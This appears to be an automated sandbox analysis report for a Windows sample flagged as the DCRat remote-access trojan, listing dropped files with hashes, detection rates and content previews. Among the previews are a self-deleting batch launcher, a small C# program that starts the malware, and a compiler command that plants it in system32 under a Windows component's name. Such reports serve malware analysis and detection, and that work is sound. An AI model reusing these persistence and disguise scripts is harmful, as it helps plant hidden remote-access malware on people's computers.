SHA-256:	C0664856C2E59F8CC9E0FF378FED29E6592F429819999E1A44EADE9DBC62187E
SHA-512:	683CEF1209118F7AD304B5118DCA5F123F1EA5BB1EE3923C9EF42DECAC8E9ACF9536E6E9B583A04EBCB9E9AD304A948612E0E64CE533F006E0CE61F40F1E7DA3
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 70%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....C.f................................. ........@.. ....................... ............@.....................................K....... ............................................................................ ............... ..H............text........ ...................... ..`.rsrc... ...........................@..@.reloc..............................@..B........................H.......X...X.......v...................................................P...........W...........S...........[...........Q...........Y...........U.......A...]........@..P...........X...........T.......!...\........ ..R...........Z...........V....................`..P...........W...........S...........[...........Q...........Y...........U.......a...]........`..P...........X...........T.......1...\........0..R...........Z...........V....................`..........................

C:\Program Files\Windows Multimedia Platform\8de7bf56f754b7

Download File

Process:	C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	181
Entropy (8bit):	5.658566055953225
Encrypted:	false
SSDEEP:	3:ZeR0/nbyNo11qxDVCfP0dqLO0tsmJzAXcK/SOTgAEP5BbIafVpwVZ:ZeGXPqxOkqLuxMkS+FY5uEpgZ
MD5:	C123A201277EEE1D41A827BB7A9AF2CC
SHA1:	AC7EA93BCAEBAC8F8D0D466DD12425C2682D0020
SHA-256:	8CF03A55429BDA45BECE6D836975E6271FC3E612D8A4BF0F6EF094E5EB0568CA
SHA-512:	E555D7AD3F9F8AD38BE1323F583A33395E6AE32EA7F099A00B2C4861D5549D547E68E9298F63338F3F0CA70651B94DECEBB2F4B5FB01EDDD32A59B564931C2C8
Malicious:	false
Preview:	vyIU3NyFvnT7zpOYzElCiGEdAXe7PPJG4dyzgnwzP8zROilUMYVQFnmouoUfs10gdNCW1Y1MRvxjQxPbvKv043AR1JF2TQHYITxBfPdxgJ8T0CY6Y2uiG9lkMverT92BoZb79O6gq7Tv5qbzvIeagiRJrNyuuwdhQ6obla6K6N1Ip0pfUp6Lf

C:\Program Files\Windows Multimedia Platform\vXKtedDiKZHKptbUFqIBdHmZ.exe

Download File

Process:	C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	832512
Entropy (8bit):	5.473650729139317
Encrypted:	false
SSDEEP:	12288:v5Tnns8tsXmTP/4u46B2emHJJMA+ppW3Ari4VVyZC0+1cp9LhCgEwBvbvHlJNZ6:v5Tn3PB2empJMA+p3iE0nTLhLDN6
MD5:	1F994BA149832A45EBEDCE2D36A2CA21
SHA1:	AB913617DE27A1079E7E0B6F871C78801C4CAFF9
SHA-256:	C0664856C2E59F8CC9E0FF378FED29E6592F429819999E1A44EADE9DBC62187E
SHA-512:	683CEF1209118F7AD304B5118DCA5F123F1EA5BB1EE3923C9EF42DECAC8E9ACF9536E6E9B583A04EBCB9E9AD304A948612E0E64CE533F006E0CE61F40F1E7DA3
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 70%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....C.f................................. ........@.. ....................... ............@.....................................K....... ............................................................................ ............... ..H............text........ ...................... ..`.rsrc... ...........................@..@.reloc..............................@..B........................H.......X...X.......v...................................................P...........W...........S...........[...........Q...........Y...........U.......A...]........@..P...........X...........T.......!...\........ ..R...........Z...........V....................`..P...........W...........S...........[...........Q...........Y...........U.......a...]........`..P...........X...........T.......1...\........0..R...........Z...........V....................`..........................

C:\Recovery\cc11b995f2a76d

Download File

Process:	C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe
File Type:	ASCII text, with very long lines (836), with no line terminators
Category:	dropped
Size (bytes):	836
Entropy (8bit):	5.901204239279335
Encrypted:	false
SSDEEP:	24:0scBBSzCh8ddhB9xXaMh3w5eLSh3f8h9Rv:aBYCydzNh3w5ek3kJ
MD5:	E1188D4A27CB40AF562FC92D00787EAE
SHA1:	B8CA0C38CDEA476CC12B1F8179810388DC39D932
SHA-256:	8FB8A5EFEEC36277D9DBFE6AFD02932B51846D60F3D4A4C3610291C0ECFB058D
SHA-512:	7CC6F77F049F59E47653E1E985641FACBE2A0E6EF45AE8BF35250238C20BF22EBD827B31CBEBB470E8BAF4DEBD9D8A4D019543BDA16697AD8D98D537CD7018D7
Malicious:	false
Preview:	x2E2ZWZNbmzRcGdAz1jQ6BjUg1q9OvooOH7EWpIVj4798WK8DV5hbi3vTtVipZ9q8LDVIYnKtNrCEkVJrs530GMpOMumTkpJ5RAxTyzpruyN11rtXL07dFz18XH6nB0JhhHwji022QLFS8yXeBOHtspzbIy6r3Bq4oqTt4JzV8FM4uj9iubmwsZz2SUbu4L9PfLnSenk1Zwunc5rjyX7bZ3LP0bbjsFbxF7Yi5rEG1uX6oMZXn15gOh0m9YcDLAJTU7hfgIoHT0jpfOkoBE60J4jhHwigPB51kDlro40eNxNX8LHvxyBHDTKZY9YujH2R5rEbm39HOcmWrLj6oxtaAyyR3LTpgF4G55cQGpI4y32kqxsMabFwXbRG3xhakUlIhfavtSz9pymG5NkFdGOEAIsdnVXTHrTeRuCLX7dImGGjzLLpMc7dFhHZx6HX4f17fHyKKZsfnGb3BJocKsGpt0YumnXazGNGOIDsWAextc09FNXnSpNMYMOosEihBRph3Up2F6GJOT5R9ZpYPuIK2AsB4Z9Sc6wbwTGuifhWiE8FR6oTYJRQJfo2mn7q6xqRhdfqT40uMwlyCmu7uq3TofSQoNH5h1ZvXrixb89dThEX3zzA2A6Q4XmBLOBFx5NVW0bVE7gwqZ9Hb4XzXHCh4I0AEgmN63qYUsADYe55dKjeXekQ1Msp2pbN9aQiUSzxslxs3Ta2MHDujWnk5VWtLBfoRwD7OWkLUwvvr1Whvzdvmqonxqn96GlrGJbGQdozg2Zwl12D9y7WitBkIaKitlOOKDpiaPRSKnOuQ1C5xj9HIPJWH180SGF5nLmhMUnthpL

C:\Recovery\winlogon.exe

Download File

Process:	C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	832512
Entropy (8bit):	5.473650729139317
Encrypted:	false
SSDEEP:	12288:v5Tnns8tsXmTP/4u46B2emHJJMA+ppW3Ari4VVyZC0+1cp9LhCgEwBvbvHlJNZ6:v5Tn3PB2empJMA+p3iE0nTLhLDN6
MD5:	1F994BA149832A45EBEDCE2D36A2CA21
SHA1:	AB913617DE27A1079E7E0B6F871C78801C4CAFF9
SHA-256:	C0664856C2E59F8CC9E0FF378FED29E6592F429819999E1A44EADE9DBC62187E
SHA-512:	683CEF1209118F7AD304B5118DCA5F123F1EA5BB1EE3923C9EF42DECAC8E9ACF9536E6E9B583A04EBCB9E9AD304A948612E0E64CE533F006E0CE61F40F1E7DA3
Malicious:	true
Yara Hits:	Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: C:\Recovery\winlogon.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 70%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....C.f................................. ........@.. ....................... ............@.....................................K....... ............................................................................ ............... ..H............text........ ...................... ..`.rsrc... ...........................@..@.reloc..............................@..B........................H.......X...X.......v...................................................P...........W...........S...........[...........Q...........Y...........U.......A...]........@..P...........X...........T.......!...\........ ..R...........Z...........V....................`..P...........W...........S...........[...........Q...........Y...........U.......a...]........`..P...........X...........T.......1...\........0..R...........Z...........V....................`..........................

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\SurrogatewebSession.exe.log

Download File

Process:	C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2041
Entropy (8bit):	5.374034001672589
Encrypted:	false
SSDEEP:	48:MxHKQ71qHGIs0HKCYHKGSI6oPtHTHhAHKKkrJH1HzHKlT4vHNpv:iq+wmj0qCYqGSI6oPtzHeqKktVTqZ4vb
MD5:	553B6EF1B0572462CC8BF3E338B09385
SHA1:	11BBCF871361CC815C2261F2A6A4230DC88D5993
SHA-256:	58AF346985F4101CBCBB7F2E6269A3E1A5C523B8C121EC7E79F445CB03CDECCE
SHA-512:	CA38CEABE6E4425D67B599EADF775A2626A5DCB5B2C956B88349FAB257A98678215C6A9C4E8139799C4FFD7043FF74DC71C0B7556ABB120BCB6589B2023B57CA
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Drawing\567ff6b0de7f9dcd8111001e94ab7cf6\System.Drawing.ni.dll",0..3,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Windows.Forms\2a7fffeef3976b2a6f273db66b1f0107\System.Windows.Forms.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\S

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\vXKtedDiKZHKptbUFqIBdHmZ.exe.log

Download File

Process:	C:\Program Files (x86)\MSBuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	1281
Entropy (8bit):	5.370111951859942
Encrypted:	false
SSDEEP:	24:ML9E4KQ71qE4GIs0E4KCKDE4KGKZI6KhPKIE4TKBGKoZAE4KKUNb:MxHKQ71qHGIs0HKCYHKGSI6oPtHTHhA2
MD5:	12C61586CD59AA6F2A21DF30501F71BD
SHA1:	E6B279DC134544867C868E3FF3C267A06CE340C7
SHA-256:	EC20A856DBBCF320F7F24C823D6E9D2FD10E9335F5DE2F56AB9A7DF1ED358543
SHA-512:	B0731F59C74C9D25A4C82E166B3DC300BBCF89F6969918EC748B867C641ED0D8E0DE81AAC68209EF140219861B4939F1B07D0885ACA112D494D23AAF9A9C03FE
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Drawing\567ff6b0de7f9dcd8111001e94ab7cf6\System.Drawing.ni.dll",0..3,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Windows.Forms\2a7fffeef3976b2a6f273db66b1f0107\System.Windows.Forms.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\S

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\winlogon.exe.log

Download File

Process:	C:\Recovery\winlogon.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	1281
Entropy (8bit):	5.370111951859942
Encrypted:	false
SSDEEP:	24:ML9E4KQ71qE4GIs0E4KCKDE4KGKZI6KhPKIE4TKBGKoZAE4KKUNb:MxHKQ71qHGIs0HKCYHKGSI6oPtHTHhA2
MD5:	12C61586CD59AA6F2A21DF30501F71BD
SHA1:	E6B279DC134544867C868E3FF3C267A06CE340C7
SHA-256:	EC20A856DBBCF320F7F24C823D6E9D2FD10E9335F5DE2F56AB9A7DF1ED358543
SHA-512:	B0731F59C74C9D25A4C82E166B3DC300BBCF89F6969918EC748B867C641ED0D8E0DE81AAC68209EF140219861B4939F1B07D0885ACA112D494D23AAF9A9C03FE
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Drawing\567ff6b0de7f9dcd8111001e94ab7cf6\System.Drawing.ni.dll",0..3,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Windows.Forms\2a7fffeef3976b2a6f273db66b1f0107\System.Windows.Forms.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\S

C:\Users\user\AppData\Local\Temp\NZDl7DWO67.bat

Download File

Process:	C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe
File Type:	DOS batch file, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	239
Entropy (8bit):	5.1466154973843
Encrypted:	false
SSDEEP:	6:hCijTg3Nou1SV+DE1wknaZ5s2zQ0BvKOZG1wkn23fp6K4H:HTg9uYDEmrHlDf+
MD5:	56E6342EF1E5B571492F299AAA74F702
SHA1:	C120A9528AE8737655CE67676F13B5016BB46339
SHA-256:	3088FDD4302BEAAF62A08F7066FD87C7959646BBB37B4E342057EE0AD139BBB3
SHA-512:	D39DFF21027811EC4CF602E33F4145E85E956E55186A167BAC3E1DBC590891A67C1A3E840B530244A3B1CB991C532C522065BF6A9FF43D8FA903A6EF16E92313
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Preview:	@echo off..chcp 65001..w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2 > nul..start "" "C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe"..del /a /q /f "C:\Users\user\AppData\Local\Temp\\NZDl7DWO67.bat"

C:\Users\user\AppData\Local\Temp\RES41D7.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
File Type:	Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x6fc, 10 symbols, created Fri Mar 29 15:40:51 2024, 1st section name ".debug$S"
Category:	dropped
Size (bytes):	1972
Entropy (8bit):	4.5642720617579435
Encrypted:	false
SSDEEP:	24:HJe9sIOxfnXUDfH9FwKlNEN8luxOysuZhN7jSjRzPNnqpdt4+lEbNFjMyi0+qUZ:TJXSdmKoKluOulajfqXSfbNtmhlZ
MD5:	E27348B241BEE1A27AD73793A59E777A
SHA1:	9DF378F4DA5A601F93EEF98D3DB62E20EABDEFE8
SHA-256:	4009D70D7AF5BCB908AF99DDF8B1DFC25ED901563CB1AE9C500BF07F7D36B6B1
SHA-512:	CCD430935ED2D9161CDE4D1E9EED265578A310E7B89F8E61DAC4F845D607118CE3F9C3C325FD143B65F43783BFA168C797D22BA70B4D35E4C43F95AB3D4C7D65
Malicious:	false
Preview:	L......f.............debug$S........L...................@..B.rsrc$01................x...........@..@.rsrc$02........p...................@..@........=....c:\Windows\System32\CSCD00016AF5F994D2B979CA07EFAA630F3.TMP.....................r.av..t.y..............4.......C:\Users\user\AppData\Local\Temp\RES41D7.tmp.-.<....................a..Microsoft (R) CVTRES.o.=..cwd.C:\Users\user\AppData\Roaming\msBroker.exe.C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe........................ .......8.......................P.......................h.......................................................\|...............................................\|.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...T.....I.n.t.e.r.n.a.l.N.a.m.e...S.e.

C:\Users\user\AppData\Local\Temp\RarSFX0\1.bat

Download File

Process:	C:\Users\user\Desktop\H9gMIu2HXi.exe
File Type:	DOS batch file, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.286146588249911
Encrypted:	false
SSDEEP:	3:mKDDFRK58FoXMMH:h08Foc2
MD5:	FF59D999BEB970447667695CE3273F75
SHA1:	316FA09F467BA90AC34A054DAF2E92E6E2854FF8
SHA-256:	065D2B17AD499587DC9DE7EE9ECDA4938B45DA1DF388BC72E6627DFF220F64D2
SHA-512:	D5AC72CB065A3CD3CB118A69A2F356314EEED24DCB4880751E1A3683895E66CEDC62607967E29F77A0C27ADF1C9FE0EFD86E804F693F0A63A5B51B0BF0056B5D
Malicious:	false
Preview:	@echo off..start work.exe -priverdD

C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe

Download File

Process:	C:\Users\user\Desktop\H9gMIu2HXi.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1481861
Entropy (8bit):	7.880225299581498
Encrypted:	false
SSDEEP:	24576:qubsnafAPyjZrvoW9jdO1T2qdg+GTjMZpCfJYLw289l2zHTJnNXlvWgcDByH0s/F:cI1voojGT0MCfJ3AzHTlvxKyH0st
MD5:	E0A16200BD098799073FCB05E9D31300
SHA1:	53D0E506AEAA0515595415016FFD0852EAF3161D
SHA-256:	951F1F32E96A9C26DE591FE522CB8A1753858EC6C11A2B2D13EFE81131AAC6BD
SHA-512:	C705E91A2AE0C68F1F09AD1CBD6818C8B8D5C63DF02BE1831D45CA73D52DBC7A40DB56206EA116022F226EB1F69437ADD5EABFB2986F02041B0CEA109D6597DC
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 14% Antivirus: Virustotal, Detection: 20%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........w..w..w..<.V.w..<.T..w..<.U.w....Z.w......w......w......w...$.w...4.w..w..v......w......w....X.w......w..Rich.w..........PE..L......d...............!.....................@....@.......................................@.............................4.......P....`..D....................P...#......T............................f..@............@..x...\... ....................text....-.......................... ..`.rdata......@.......2..............@..@.data...PG..........................@....didat.......P......................@....rsrc...D....`......................@..@.reloc...#...P...$..................@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\RarSFX1\dwartg.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1154243
Entropy (8bit):	5.996523401858512
Encrypted:	false
SSDEEP:	24576:2TbBv5rUyXVG5Tn3PB2empJMA+p3iE0nTLhLDN6O:IBJ+Tn3PB2JmA+p3KThDr
MD5:	1C051E7154F24C6BEA5788CBE9DCB478
SHA1:	041C55D246B3F2A83378CEA458939EEB9FF7AD71
SHA-256:	184EF8BDC393FA03BA5C7655425AE8ABFAC071887E45235B129EC74423FA46D6
SHA-512:	949927E32CF2AE9E18D4B6D2D52F17EE0432D6502D8000C5AC99D4ECFF8744BB7CFE919F67A06D4D9DEF3776FF4FF0FA048AA01751F3AB5D1C49A6C178D3965E
Malicious:	true
Yara Hits:	Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: C:\Users\user\AppData\Local\Temp\RarSFX1\dwartg.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 65% Antivirus: Virustotal, Detection: 58%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......x_c.<>..<>..<>......1>.......>......$>...I.>>...I../>...I..+>...I...>..5F..7>..5F..;>..<>..)?...I...>...I..=>...I.=>...I..=>..Rich<>..........PE..L..... b............................0........0....@..........................P............@.........................p...4.......P....@....................... ..<#......T............................U..@............0..x....... ....................text............................... ..`.rdata.......0....... ..............@..@.data... G..........................@....didat.......0......................@....rsrc........@......................@..@.reloc..<#... ...$..................@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\jz2mm1cv\jz2mm1cv.0.cs

Download File

Process:	C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe
File Type:	C++ source, Unicode text, UTF-8 (with BOM) text
Category:	dropped
Size (bytes):	416
Entropy (8bit):	5.095758264663025
Encrypted:	false
SSDEEP:	12:V/DNVgtDIbSf+eBLZ7bfiFkMSf+eBL6LP7GowiFkD:JNVQIbSfhV7TiFkMSfhWLPySFkD
MD5:	F63ABFE30BEBC26A884A9EF49DB85F63
SHA1:	41D8D945518B9DD766A9320FF25EEBCD12ACE24C
SHA-256:	18A670CB7D65A93BEAA565176EBF52D2C29D985CD83A4690A878192261726A2E
SHA-512:	5E05C96CC706690464E300D963005E5EB80326263C02D423C8AD7D6C271F433B6450B4C52AB7F990163A533D153CBA36B576E7898FED353C7B9AF197E5E55010
Malicious:	false
Preview:	.using System.Diagnostics;.using System.Threading;..class Program.{. static void Main(string[] args). {. new Thread(() => { try { Process.Start(@"C:\Windows\system32\SecurityHealthSystray.exe.exe", string.Join(" ", args)); } catch { } }).Start();. new Thread(() => { try { Process.Start(@"C:\Program Files (x86)\msbuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe"); } catch { } }).Start();. }.}.

C:\Users\user\AppData\Local\Temp\jz2mm1cv\jz2mm1cv.cmdline

Download File

Process:	C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with no line terminators
Category:	dropped
Size (bytes):	250
Entropy (8bit):	5.120629256027318
Encrypted:	false
SSDEEP:	6:Hu+H2L//1xRT0T79BzxsjGZxWE8owkn23fLZ77:Hu7L//TRq79cQWfF77
MD5:	B9433C3BB404F58C4B83A8E985F9E7B7
SHA1:	2426F9D2D1E5C8BECABCB8C5A5F13D3D042AD90F
SHA-256:	8E8C9E4C61926692312F0EF27B7BCCF1B20F20474937C92B7A26EB94E15A2E57
SHA-512:	FF1E518C23FED7E681845A2567D1B291E1044829F0CE276AF029F408CDE2C9244832951C3EF1DC26FC1E2A1FEF40312A6CE79752560793CCEED2F04CD5668D17
Malicious:	true
Preview:	./t:exe /utf8output /R:"System.dll" /R:"System.Threading.dll" /R:"System.Data.dll" /out:"C:\Windows\system32\SecurityHealthSystray.exe" /debug- /optimize+ /optimize+ /target:winexe /unsafe "C:\Users\user\AppData\Local\Temp\jz2mm1cv\jz2mm1cv.0.cs"

C:\Users\user\AppData\Local\Temp\jz2mm1cv\jz2mm1cv.out

Download File

Process:	C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (346), with CRLF, CR line terminators
Category:	modified
Size (bytes):	767
Entropy (8bit):	5.281824290892456
Encrypted:	false
SSDEEP:	12:KJrH8oMI/u7L//TRq79cQWfF76KaxK4BFNn5KBZvK2wo8dRSgarZucvW3ZDPOU:KJoI/un/Vq79tWfcKax5DqBVKVrdFAMb
MD5:	916BEEFAE1F31B53CDEE0B51D2162A64
SHA1:	BB76DD50C8C54599B5A92130E1517551C8EECC6A
SHA-256:	B63E041B00C1339300CB33B325438381AB5F3879CB70CBC65D978746ECBD19A4
SHA-512:	D7651CD94CAD754CE6A731928F7FE52E803F6949D6FA31368A1A4CAA9C844294CB030F82741AC809185ACAEF1162A664DB16B6E13872EF46E6C4C0ACE95FFEF1
Malicious:	false
Preview:	.C:\Users\user\AppData\Roaming\msBroker> "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /t:exe /utf8output /R:"System.dll" /R:"System.Threading.dll" /R:"System.Data.dll" /out:"C:\Windows\system32\SecurityHealthSystray.exe" /debug- /optimize+ /optimize+ /target:winexe /unsafe "C:\Users\user\AppData\Local\Temp\jz2mm1cv\jz2mm1cv.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.4084.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

C:\Users\user\AppData\Local\Temp\lxBmhx8hqP

Download File

Process:	C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	25
Entropy (8bit):	4.0536606896881855
Encrypted:	false
SSDEEP:	3:xVvGrIaT4/:Tuy
MD5:	25F40F423058EE0AC0505BCAC8A725C3
SHA1:	407A5224A6C2F548F26E3B4AABC3037C49371459
SHA-256:	BCC0950C9B4C8FF60B654B7644E28DAA69E9746448E7DAFE87D1D8D036325D99
SHA-512:	E07606D31C788501BE26BC0AE28B4FCAD5D8D6BE4370054CD006741C0A41BA74261003154BD991756DD884FDB44BDA8E673CFE97E8230ABBF1D8CC7DA0E032C5
Malicious:	false
Preview:	eqpUpOkLqJimKremTGwLnRiLZ

C:\Users\user\AppData\Roaming\msBroker\2df7ee17dc0323

Download File

Process:	C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	53
Entropy (8bit):	4.958960313012944
Encrypted:	false
SSDEEP:	3:4RXb0wC11V5wBsK:EXvC11zwBsK
MD5:	4E043FFFFDB2B1885FFF43306F36FC76
SHA1:	A06CE5B46CB37C5B53F0DF002EFD597FC602299A
SHA-256:	7C632992388DF5DC2263B849F18383C1A1059D90DD2BFB816C2D47744A0F1FEB
SHA-512:	BB798D246E38A476D9C42D17E10FA509360E5FCCBFD3C20818FCB4AE1E769D9CB84B50C62633003F77603733000DD5E570D355A9D3394BB40361C54BB07792AB
Malicious:	false
Preview:	oD6PT08EWvxcyJ0rsMHMHGheP2DxtpGmr9BfyeXCadxkojoo7pDDE

C:\Users\user\AppData\Roaming\msBroker\2lT5LH2HofMC1aCPgzVrsLj8Fs1JHh.bat

Download File

Process:	C:\Users\user\AppData\Local\Temp\RarSFX1\dwartg.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	89
Entropy (8bit):	5.028900217814621
Encrypted:	false
SSDEEP:	3:lvjHaI82Y76Bhcs0J4A+Q0dAHAxy:lvj5Y7egJYQ0pU
MD5:	9BCDE4CA07A1952CA814C0667664D681
SHA1:	5AC886D95FF5ECE7B49C3B6F064BC33AFE4EADBF
SHA-256:	590CF9245C860D725EB2716D2F12E8EE2585BFE8D03DF2BD1CAE8622A11CD402
SHA-512:	ED27D239D148F0BFDC8047EB7BB8C088AD5D252A1595D23FC459F30D7C7698EC05F15F34769E1EE270773733B2CA35E421B99FF7DDF799E7E8876DBBBFE02ADA
Malicious:	false
Preview:	%SLJznYshrpgXUrd%%pBqQ%..%sqROZRstwQEVk%"%AppData%\msBroker/SurrogatewebSession.exe"%xVH%

C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\RarSFX1\dwartg.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	832512
Entropy (8bit):	5.473650729139317
Encrypted:	false
SSDEEP:	12288:v5Tnns8tsXmTP/4u46B2emHJJMA+ppW3Ari4VVyZC0+1cp9LhCgEwBvbvHlJNZ6:v5Tn3PB2empJMA+p3iE0nTLhLDN6
MD5:	1F994BA149832A45EBEDCE2D36A2CA21
SHA1:	AB913617DE27A1079E7E0B6F871C78801C4CAFF9
SHA-256:	C0664856C2E59F8CC9E0FF378FED29E6592F429819999E1A44EADE9DBC62187E
SHA-512:	683CEF1209118F7AD304B5118DCA5F123F1EA5BB1EE3923C9EF42DECAC8E9ACF9536E6E9B583A04EBCB9E9AD304A948612E0E64CE533F006E0CE61F40F1E7DA3
Malicious:	true
Yara Hits:	Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 70%
